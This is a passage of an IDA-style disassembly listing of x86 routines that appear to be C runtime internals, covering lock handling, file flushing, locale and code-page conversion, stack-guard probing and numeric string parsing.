push eax call sub_423F72 pop ecx pop ecx test eax, eax jnz short loc_425910 push 0FFFFFFFFh lea eax, [ebp+ms_exc.prev_er] push eax call sub_41DECE pop ecx pop ecx loc_425908: ; CODE XREF: sub_425867+1Aj or eax, 0FFFFFFFFh jmp loc_4259D4 ; --------------------------------------------------------------------------- loc_425910: ; CODE XREF: sub_425867+92j inc dword ptr [esi+8] loc_425913: ; CODE XREF: sub_425867+7Ej mov [ebp+ms_exc.disabled], ebx call sub_425940 loc_42591B: ; CODE XREF: sub_425867+6Aj lea ebx, [esi+0Ch] push ebx call ds:dword_429130 ; RtlEnterCriticalSection test byte ptr [esi+4], 1 jz short loc_425949 push ebx call ds:dword_42912C ; RtlLeaveCriticalSection loc_425932: ; CODE XREF: sub_425867+63j add esi, 24h jmp loc_4258AF sub_425867 endp ; =============== S U B R O U T I N E ======================================= sub_42593A proc near ; DATA XREF: .text:0042A8C4o mov edi, [ebp-24h] mov esi, [ebp-20h] sub_42593A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425940 proc near ; CODE XREF: sub_425867+AFp push 0Ah call sub_41E8CE pop ecx retn sub_425940 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425867 loc_425949: ; CODE XREF: sub_425867+C2j or dword ptr [esi], 0FFFFFFFFh mov eax, esi sub eax, ds:dword_438460[edi*4] cdq push 24h pop ecx idiv ecx mov ecx, edi shl ecx, 5 add eax, ecx mov [ebp+var_1C], eax loc_425965: ; CODE XREF: sub_425867+59j cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_4259C8 inc edi jmp loc_425894 ; --------------------------------------------------------------------------- loc_425971: ; CODE XREF: sub_425867+42j mov esi, 480h push esi call sub_41D0C4 pop ecx mov [ebp+var_20], eax test eax, eax jz short loc_4259C8 lea ecx, ds:438460h[edi*4] mov [ecx], eax add ds:dword_43844C, 20h loc_425994: ; CODE XREF: sub_425867+14Aj mov edx, [ecx] add edx, esi cmp eax, edx jnb short loc_4259B3 mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah and dword ptr [eax+8], 0 add eax, 24h mov [ebp+var_20], eax jmp short loc_425994 ; --------------------------------------------------------------------------- loc_4259B3: ; CODE XREF: sub_425867+133j shl edi, 5 mov [ebp+var_1C], edi push edi call sub_4257A5 pop ecx test eax, eax jnz short loc_4259C8 or [ebp+var_1C], 0FFFFFFFFh loc_4259C8: ; CODE XREF: sub_425867+33j ; sub_425867+102j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4259DA mov eax, [ebp+var_1C] loc_4259D4: ; CODE XREF: sub_425867+A4j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_425867 ; =============== S U B R O U T I N E ======================================= sub_4259DA proc near ; CODE XREF: sub_425867+165p ; DATA XREF: .text:stru_42A8B0o push 0Bh call sub_41E8CE pop ecx retn sub_4259DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4259E3 proc near ; CODE XREF: sub_421206+1Ep var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00425A8B SIZE 00000014 BYTES push 0Ch push offset stru_42A8C8 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, ds:dword_43844C jnb loc_425A8B mov eax, ebx sar eax, 5 lea edi, ds:438460h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_425A8B push ebx call sub_4257A5 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_425A63 push ebx call sub_425764 pop ecx push eax call ds:dword_4290F8 ; FlushFileBuffers test eax, eax jnz short loc_425A4F call ds:dword_4290D8 ; RtlGetLastWin32Error mov [ebp+var_1C], eax jmp short loc_425A53 ; --------------------------------------------------------------------------- loc_425A4F: ; CODE XREF: sub_4259E3+5Fj and [ebp+var_1C], 0 loc_425A53: ; CODE XREF: sub_4259E3+6Aj cmp [ebp+var_1C], 0 jz short loc_425A72 call sub_4200BE mov ecx, [ebp+var_1C] mov [eax], ecx loc_425A63: ; CODE XREF: sub_4259E3+4Dj call sub_4200B5 mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_425A72: ; CODE XREF: sub_4259E3+74j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_425A83 mov eax, [ebp+var_1C] jmp short loc_425A99 sub_4259E3 endp ; =============== S U B R O U T I N E ======================================= sub_425A80 proc near ; DATA XREF: .text:stru_42A8C8o mov ebx, [ebp+8] sub_425A80 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A83 proc near ; CODE XREF: sub_4259E3+93p push ebx call sub_425845 pop ecx retn sub_425A83 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4259E3 loc_425A8B: ; CODE XREF: sub_4259E3+15j ; sub_4259E3+39j call sub_4200B5 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_425A99: ; CODE XREF: sub_4259E3+9Bj call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_4259E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425A9F proc near ; CODE XREF: sub_421354+27Dp ; sub_4242B5+15Ep var_C = byte ptr -0Ch var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, ds:dword_433148 push 6 mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push 1004h push [ebp+arg_0] mov [ebp+var_6], 0 call ds:dword_42907C ; GetLocaleInfoA test eax, eax jnz short loc_425ACE or eax, 0FFFFFFFFh jmp short loc_425AD8 ; --------------------------------------------------------------------------- loc_425ACE: ; CODE XREF: sub_425A9F+28j lea eax, [ebp+var_C] push eax call sub_41D514 pop ecx loc_425AD8: ; CODE XREF: sub_425A9F+2Dj mov ecx, [ebp+var_4] call sub_41E5BB leave retn sub_425A9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425AE2 proc near ; CODE XREF: sub_421354+2A8p ; sub_421354+366p ... var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push 38h push offset stru_42A8D8 call __SEH_prolog mov eax, ds:dword_433148 mov [ebp+var_1C], eax xor edi, edi mov [ebp+var_34], edi mov [ebp+var_44], edi mov eax, [ebp+arg_C] mov ebx, [eax] mov [ebp+var_40], ebx mov [ebp+var_3C], edi mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jz loc_425C88 lea ecx, [ebp+var_30] push ecx push eax mov esi, ds:dword_429030 call esi ; GetCPInfo test eax, eax jz short loc_425B46 cmp [ebp+var_30], 1 jnz short loc_425B46 lea eax, [ebp+var_30] push eax push [ebp+arg_4] call esi ; GetCPInfo test eax, eax jz short loc_425B46 cmp [ebp+var_30], 1 jnz short loc_425B46 mov [ebp+var_3C], 1 loc_425B46: ; CODE XREF: sub_425AE2+42j ; sub_425AE2+48j ... cmp [ebp+var_3C], edi jz short loc_425B65 cmp ebx, 0FFFFFFFFh jz short loc_425B54 mov esi, ebx jmp short loc_425B60 ; --------------------------------------------------------------------------- loc_425B54: ; CODE XREF: sub_425AE2+6Cj push [ebp+arg_8] call sub_41C350 pop ecx mov esi, eax inc esi loc_425B60: ; CODE XREF: sub_425AE2+70j mov [ebp+var_38], esi jmp short loc_425B68 ; --------------------------------------------------------------------------- loc_425B65: ; CODE XREF: sub_425AE2+67j mov esi, [ebp+var_38] loc_425B68: ; CODE XREF: sub_425AE2+81j cmp [ebp+var_3C], edi jnz short loc_425B87 push edi push edi push ebx push [ebp+arg_8] push 1 push [ebp+arg_0] call ds:dword_429124 ; MultiByteToWideChar mov esi, eax mov [ebp+var_38], esi cmp esi, edi jz short loc_425BDF loc_425B87: ; CODE XREF: sub_425AE2+89j mov [ebp+ms_exc.disabled], edi lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_41E090 mov [ebp+ms_exc.old_esp], esp mov ebx, esp mov [ebp+var_48], ebx lea eax, [esi+esi] push eax push edi push ebx call sub_41C6D0 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_425BCB ; --------------------------------------------------------------------------- loc_425BB4: ; DATA XREF: .text:stru_42A8D8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_425BB8: ; DATA XREF: .text:stru_42A8D8o mov esp, [ebp+ms_exc.old_esp] call sub_425CAB xor edi, edi xor ebx, ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov esi, [ebp+var_38] loc_425BCB: ; CODE XREF: sub_425AE2+D0j cmp ebx, edi jnz short loc_425BED push esi push 2 call sub_421909 pop ecx pop ecx mov ebx, eax cmp ebx, edi jnz short loc_425BE6 loc_425BDF: ; CODE XREF: sub_425AE2+A3j xor eax, eax jmp loc_425C9A ; --------------------------------------------------------------------------- loc_425BE6: ; CODE XREF: sub_425AE2+FBj mov [ebp+var_44], 1 loc_425BED: ; CODE XREF: sub_425AE2+EBj push esi push ebx push [ebp+var_40] push [ebp+arg_8] push 1 push [ebp+arg_0] call ds:dword_429124 ; MultiByteToWideChar test eax, eax jz loc_425C8B cmp [ebp+arg_10], edi jz short loc_425C2D push edi push edi push [ebp+arg_14] push [ebp+arg_10] push esi push ebx push edi push [ebp+arg_4] call ds:dword_429174 ; WideCharToMultiByte test eax, eax jz short loc_425C8B mov eax, [ebp+arg_10] mov [ebp+var_34], eax jmp short loc_425C8B ; --------------------------------------------------------------------------- loc_425C2D: ; CODE XREF: sub_425AE2+129j cmp [ebp+var_3C], edi jnz short loc_425C48 push edi push edi push edi push edi push esi push ebx push edi push [ebp+arg_4] call ds:dword_429174 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz short loc_425C8B loc_425C48: ; CODE XREF: sub_425AE2+14Ej push esi push 1 call sub_421909 pop ecx pop ecx mov [ebp+var_34], eax cmp eax, edi jz short loc_425C8B push edi push edi push esi push eax push esi push ebx push edi push [ebp+arg_4] call ds:dword_429174 ; WideCharToMultiByte cmp eax, edi jnz short loc_425C7B push [ebp+var_34] call sub_41C2DD pop ecx mov [ebp+var_34], edi jmp short loc_425C8B ; --------------------------------------------------------------------------- loc_425C7B: ; CODE XREF: sub_425AE2+189j cmp [ebp+var_40], 0FFFFFFFFh jz short loc_425C8B mov ecx, [ebp+arg_C] mov [ecx], eax jmp short loc_425C8B ; --------------------------------------------------------------------------- loc_425C88: ; CODE XREF: sub_425AE2+2Dj mov ebx, [ebp+var_48] loc_425C8B: ; CODE XREF: sub_425AE2+120j ; sub_425AE2+141j ... cmp [ebp+var_44], edi jz short loc_425C97 push ebx call sub_41C2DD pop ecx loc_425C97: ; CODE XREF: sub_425AE2+1ACj mov eax, [ebp+var_34] loc_425C9A: ; CODE XREF: sub_425AE2+FFj lea esp, [ebp-54h] mov ecx, [ebp+var_1C] call sub_41E5BB call __SEH_epilog retn sub_425AE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425CAB proc near ; CODE XREF: sub_421354+FDp ; sub_421354+1CBp ... var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push 4 pop eax call sub_41E090 mov esi, esp push 1Ch lea eax, [ebp+var_28] push eax push esi call ds:dword_429040 ; VirtualQuery test eax, eax jz short loc_425D46 mov ebx, [ebp+var_24] lea eax, [ebp+var_4C] push eax call ds:dword_4291B0 ; GetSystemInfo mov ecx, [ebp+var_48] mov eax, ds:dword_43565C lea edi, [ecx-1] not edi and edi, esi sub edi, ecx mov esi, eax dec esi neg esi sbb esi, esi and esi, 0FFFFFFF1h add esi, 11h imul esi, ecx add esi, ebx cmp edi, esi mov [ebp+var_8], ecx jb short loc_425D46 cmp eax, 1 jz short loc_425D67 mov [ebp+var_4], ebx mov ebx, 1000h loc_425D13: ; CODE XREF: sub_425CAB+84j push 1Ch lea eax, [ebp+var_28] push eax push [ebp+var_4] call ds:dword_429040 ; VirtualQuery test eax, eax jz short loc_425D46 mov eax, [ebp+var_1C] add [ebp+var_4], eax test [ebp+var_18], ebx jz short loc_425D13 test [ebp+var_13], 1 mov eax, [ebp+var_28] mov [ebp+var_4], eax jz short loc_425D42 xor eax, eax inc eax jmp short loc_425D86 ; --------------------------------------------------------------------------- loc_425D42: ; CODE XREF: sub_425CAB+90j cmp edi, eax jnb short loc_425D4A loc_425D46: ; CODE XREF: sub_425CAB+22j ; sub_425CAB+59j ... xor eax, eax jmp short loc_425D86 ; --------------------------------------------------------------------------- loc_425D4A: ; CODE XREF: sub_425CAB+99j cmp eax, esi jnb short loc_425D51 mov [ebp+var_4], esi loc_425D51: ; CODE XREF: sub_425CAB+A1j push 4 push ebx push [ebp+var_8] push [ebp+var_4] call ds:dword_429188 ; VirtualAlloc mov eax, ds:dword_43565C jmp short loc_425D6A ; --------------------------------------------------------------------------- loc_425D67: ; CODE XREF: sub_425CAB+5Ej mov [ebp+var_4], edi loc_425D6A: ; CODE XREF: sub_425CAB+BAj dec eax neg eax sbb eax, eax and eax, 103h lea ecx, [ebp+var_C] push ecx inc eax push eax push [ebp+var_8] push [ebp+var_4] call ds:dword_4290C0 ; VirtualProtect loc_425D86: ; CODE XREF: sub_425CAB+95j ; sub_425CAB+9Dj lea esp, [ebp-58h] pop edi pop esi pop ebx leave retn sub_425CAB endp ; =============== S U B R O U T I N E ======================================= sub_425D8E proc near ; CODE XREF: sub_425E0D+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push 20h pop ecx cdq idiv ecx push 1Fh pop ecx sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl mov ecx, [esp+arg_0] not edx test [ecx+eax*4], edx jz short loc_425DB6 loc_425DAD: ; CODE XREF: sub_425D8E+26j xor eax, eax retn ; --------------------------------------------------------------------------- loc_425DB0: ; CODE XREF: sub_425D8E+2Cj cmp dword ptr [ecx+eax*4], 0 jnz short loc_425DAD loc_425DB6: ; CODE XREF: sub_425D8E+1Dj inc eax cmp eax, 3 jl short loc_425DB0 xor eax, eax inc eax retn sub_425D8E endp ; =============== S U B R O U T I N E ======================================= sub_425DC0 proc near ; CODE XREF: sub_425E0D+42p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push edi push 20h pop ecx cdq idiv ecx mov edi, [esp+8+arg_0] mov esi, eax lea eax, [edi+esi*4] push eax push 1Fh pop ecx sub ecx, edx xor edx, edx inc edx shl edx, cl push edx push dword ptr [eax] call sub_426D87 add esp, 0Ch dec esi js short loc_425E0A lea edi, [edi+esi*4] loc_425DF1: ; CODE XREF: sub_425DC0+48j test eax, eax jz short loc_425E0A push edi push 1 push dword ptr [edi] call sub_426D87 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_425DF1 loc_425E0A: ; CODE XREF: sub_425DC0+2Cj ; sub_425DC0+33j pop edi pop esi retn sub_425DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E0D proc near ; CODE XREF: sub_425F2E+79p ; sub_425F2E+C2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx push esi push edi mov edi, [ebp+arg_4] dec edi push 20h lea eax, [edi+1] pop ecx cdq idiv ecx push 1Fh pop esi sub esi, edx xor edx, edx inc edx mov ecx, esi shl edx, cl mov ebx, eax mov eax, [ebp+arg_0] test [eax+ebx*4], edx jz short loc_425E5C lea ecx, [edi+1] push ecx push eax call sub_425D8E test eax, eax pop ecx pop ecx jnz short loc_425E59 push edi push [ebp+arg_0] call sub_425DC0 pop ecx pop ecx mov [ebp+var_4], eax loc_425E59: ; CODE XREF: sub_425E0D+3Cj mov eax, [ebp+arg_0] loc_425E5C: ; CODE XREF: sub_425E0D+2Cj or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax+ebx*4], edx inc ebx cmp ebx, ecx jge short loc_425E77 lea edi, [eax+ebx*4] sub ecx, ebx xor eax, eax rep stosd loc_425E77: ; CODE XREF: sub_425E0D+5Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_425E0D endp ; =============== S U B R O U T I N E ======================================= sub_425E7F proc near ; CODE XREF: sub_425F2E+6Dp ; sub_425F2E+ACp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 3 pop edx sub ecx, eax push esi loc_425E8D: ; CODE XREF: sub_425E7F+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_425E8D pop esi retn sub_425E7F endp ; =============== S U B R O U T I N E ======================================= sub_425E9A proc near ; CODE XREF: sub_425F2E+4Dp arg_0 = dword ptr 4 xor eax, eax loc_425E9C: ; CODE XREF: sub_425E9A+10j mov ecx, [esp+arg_0] cmp dword ptr [ecx+eax*4], 0 jnz short loc_425EB0 inc eax cmp eax, 3 jl short loc_425E9C xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_425EB0: ; CODE XREF: sub_425E9A+Aj xor eax, eax retn sub_425E9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425EB3 proc near ; CODE XREF: sub_425F2E+B6p ; sub_425F2E+D0p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h pop esi cdq mov ecx, esi idiv ecx mov ebx, [ebp+arg_0] or edi, 0FFFFFFFFh mov [ebp+arg_4], esi mov ecx, edx shl edi, cl mov [ebp+var_8], eax xor eax, eax sub [ebp+arg_4], edx not edi mov [ebp+var_4], eax loc_425EE1: ; CODE XREF: sub_425EB3+51j mov esi, [ebx+eax*4] mov ecx, esi and ecx, edi mov [ebp+var_C], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+arg_4] or esi, [ebp+var_4] mov [ebx+eax*4], esi mov esi, [ebp+var_C] shl esi, cl inc eax cmp eax, 3 mov [ebp+var_4], esi jl short loc_425EE1 push 2 pop eax mov ecx, eax sub ecx, [ebp+var_8] lea ecx, [ebx+ecx*4] loc_425F11: ; CODE XREF: sub_425EB3+74j cmp eax, [ebp+var_8] jl short loc_425F1D mov edx, [ecx] mov [ebx+eax*4], edx jmp short loc_425F21 ; --------------------------------------------------------------------------- loc_425F1D: ; CODE XREF: sub_425EB3+61j and dword ptr [ebx+eax*4], 0 loc_425F21: ; CODE XREF: sub_425EB3+68j dec eax sub ecx, 4 test eax, eax jge short loc_425F11 pop edi pop esi pop ebx leave retn sub_425EB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F2E proc near ; CODE XREF: sub_426086+Dp ; sub_42609C+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] movzx ecx, word ptr [eax+0Ah] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] shl eax, 10h and edi, 7FFFh sub edi, 3FFFh cmp edi, 0FFFFC001h mov [ebp+var_4], eax lea eax, [ebp+var_C] mov [ebp+var_8], ecx push eax jnz short loc_425F97 xor ebx, ebx call sub_425E9A test eax, eax pop ecx jnz loc_426046 lea edi, [ebp+var_C] stosd stosd stosd loc_425F8F: ; CODE XREF: sub_425F2E+DAj push 2 pop eax jmp loc_426048 ; --------------------------------------------------------------------------- loc_425F97: ; CODE XREF: sub_425F2E+49j lea eax, [ebp+var_18] push eax call sub_425E7F push dword ptr [esi+8] lea eax, [ebp+var_C] push eax call sub_425E0D add esp, 10h test eax, eax jz short loc_425FB4 inc edi loc_425FB4: ; CODE XREF: sub_425F2E+83j mov eax, [esi+4] mov ecx, eax sub ecx, [esi+8] cmp edi, ecx jge short loc_425FCA xor eax, eax lea edi, [ebp+var_C] stosd stosd stosd jmp short loc_426006 ; --------------------------------------------------------------------------- loc_425FCA: ; CODE XREF: sub_425F2E+90j cmp edi, eax jg short loc_42600A sub eax, edi mov edi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_425E7F lea eax, [ebp+var_C] push edi push eax call sub_425EB3 push dword ptr [esi+8] lea eax, [ebp+var_C] push eax call sub_425E0D mov eax, [esi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_425EB3 add esp, 20h loc_426006: ; CODE XREF: sub_425F2E+9Aj xor ebx, ebx jmp short loc_425F8F ; --------------------------------------------------------------------------- loc_42600A: ; CODE XREF: sub_425F2E+9Ej cmp edi, [esi] push dword ptr [esi+0Ch] jl short loc_426032 xor eax, eax lea edi, [ebp+var_C] stosd stosd stosd or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_425EB3 mov ebx, [esi+14h] add ebx, [esi] pop ecx xor eax, eax pop ecx inc eax jmp short loc_426048 ; --------------------------------------------------------------------------- loc_426032: ; CODE XREF: sub_425F2E+E1j mov ebx, [esi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add ebx, edi call sub_425EB3 pop ecx pop ecx loc_426046: ; CODE XREF: sub_425F2E+55j xor eax, eax loc_426048: ; CODE XREF: sub_425F2E+64j ; sub_425F2E+102j push 1Fh pop ecx sub ecx, [esi+0Ch] mov esi, [esi+10h] shl ebx, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or ebx, ecx or ebx, [ebp+var_C] cmp esi, 40h jnz short loc_426077 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], ebx mov [ecx], edx jmp short loc_426081 ; --------------------------------------------------------------------------- loc_426077: ; CODE XREF: sub_425F2E+13Aj cmp esi, 20h jnz short loc_426081 mov ecx, [ebp+arg_4] mov [ecx], ebx loc_426081: ; CODE XREF: sub_425F2E+147j ; sub_425F2E+14Cj pop edi pop esi pop ebx leave retn sub_425F2E endp ; =============== S U B R O U T I N E ======================================= sub_426086 proc near ; CODE XREF: sub_421710+48p ; sub_4260B2+2Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_433CD8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_425F2E add esp, 0Ch retn sub_426086 endp ; =============== S U B R O U T I N E ======================================= sub_42609C proc near ; CODE XREF: sub_4260EF+2Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_433CF0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_425F2E add esp, 0Ch retn sub_42609C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4260B2 proc near ; CODE XREF: sub_4239DB+12p var_14 = byte ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_433148 mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_42612C push [ebp+arg_0] lea eax, [ebp+var_10] push eax call sub_426086 mov ecx, [ebp+var_4] add esp, 24h call sub_41E5BB leave retn sub_4260B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4260EF proc near ; CODE XREF: sub_4239DB+2Dp var_14 = byte ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_433148 mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_42612C push [ebp+arg_0] lea eax, [ebp+var_10] push eax call sub_42609C mov ecx, [ebp+var_4] add esp, 24h call sub_41E5BB leave retn sub_4260EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42612C proc near ; CODE XREF: sub_421710+24p ; sub_4260B2+1Fp ... var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_19 = byte ptr -19h var_14 = dword ptr -14h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch mov eax, ds:dword_433148 push ebx push esi mov [ebp+var_4], eax xor eax, eax push edi mov edi, [ebp+arg_8] lea esi, [ebp+var_30] mov [ebp+var_34], esi mov [ebp+var_50], eax mov [ebp+var_4C], 1 mov [ebp+var_38], eax mov [ebp+var_44], eax mov [ebp+var_58], eax mov [ebp+var_5C], eax mov [ebp+var_54], eax mov [ebp+var_3C], eax mov [ebp+var_48], eax mov [ebp+var_40], edi loc_42616A: ; CODE XREF: sub_42612C+55j mov cl, [edi] cmp cl, 20h jz short loc_426180 cmp cl, 9 jz short loc_426180 cmp cl, 0Ah jz short loc_426180 cmp cl, 0Dh jnz short loc_426183 loc_426180: ; CODE XREF: sub_42612C+43j ; sub_42612C+48j ... inc edi jmp short loc_42616A ; --------------------------------------------------------------------------- loc_426183: ; CODE XREF: sub_42612C+52j ; sub_42612C+B2j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_426402 ; default ; jumptable 0042618F case 10 jmp ds:off_426530[eax*4] ; switch jump loc_426196: ; DATA XREF: .text:off_426530o cmp bl, 31h ; jumptable 0042618F case 0 jl short loc_4261A7 cmp bl, 39h jg short loc_4261A7 loc_4261A0: ; CODE XREF: sub_42612C+CBj ; sub_42612C+126j push 3 jmp loc_4263C1 ; --------------------------------------------------------------------------- loc_4261A7: ; CODE XREF: sub_42612C+6Dj ; sub_42612C+72j cmp bl, ds:byte_433AA4 jnz short loc_4261B6 loc_4261AF: ; CODE XREF: sub_42612C+132j push 5 jmp loc_4263F8 ; --------------------------------------------------------------------------- loc_4261B6: ; CODE XREF: sub_42612C+81j movsx eax, bl sub eax, 2Bh jz short loc_4261E0 dec eax dec eax jz short loc_4261D4 sub eax, 3 jz loc_42626D mov [ebp+var_34], esi dec edi jmp loc_42637F ; --------------------------------------------------------------------------- loc_4261D4: ; CODE XREF: sub_42612C+94j push 2 pop eax mov [ebp+var_50], 8000h jmp short loc_426183 ; --------------------------------------------------------------------------- loc_4261E0: ; CODE XREF: sub_42612C+90j and [ebp+var_50], 0 push 2 pop eax jmp short loc_426183 ; --------------------------------------------------------------------------- loc_4261E9: ; CODE XREF: sub_42612C+63j ; DATA XREF: .text:off_426530o xor eax, eax ; jumptable 0042618F case 1 inc eax cmp bl, 31h mov [ebp+var_44], eax jl short loc_4261F9 cmp bl, 39h jle short loc_4261A0 loc_4261F9: ; CODE XREF: sub_42612C+C6j cmp bl, ds:byte_433AA4 jnz short loc_426208 loc_426201: ; CODE XREF: sub_42612C+17Fj push 4 jmp loc_4263F8 ; --------------------------------------------------------------------------- loc_426208: ; CODE XREF: sub_42612C+D3j cmp bl, 2Bh jz short loc_426242 cmp bl, 2Dh jz short loc_426242 cmp bl, 30h jz loc_426183 loc_42621B: ; CODE XREF: sub_42612C+1D7j cmp bl, 43h jle loc_42637B cmp bl, 45h jle short loc_42623B cmp bl, 63h jle loc_42637B cmp bl, 65h jg loc_42637B loc_42623B: ; CODE XREF: sub_42612C+FBj push 6 jmp loc_4263F8 ; --------------------------------------------------------------------------- loc_426242: ; CODE XREF: sub_42612C+DFj ; sub_42612C+E4j ... dec edi push 0Bh jmp loc_4263F8 ; --------------------------------------------------------------------------- loc_42624A: ; CODE XREF: sub_42612C+63j ; DATA XREF: .text:off_426530o cmp bl, 31h ; jumptable 0042618F case 2 jl short loc_426258 cmp bl, 39h jle loc_4261A0 loc_426258: ; CODE XREF: sub_42612C+121j cmp bl, ds:byte_433AA4 jz loc_4261AF cmp bl, 30h jnz loc_4263CD loc_42626D: ; CODE XREF: sub_42612C+99j xor eax, eax inc eax jmp loc_426183 ; --------------------------------------------------------------------------- loc_426275: ; CODE XREF: sub_42612C+63j ; DATA XREF: .text:off_426530o mov [ebp+var_44], 1 ; jumptable 0042618F case 3 jmp short loc_426295 ; --------------------------------------------------------------------------- loc_42627E: ; CODE XREF: sub_42612C+175j cmp [ebp+var_38], 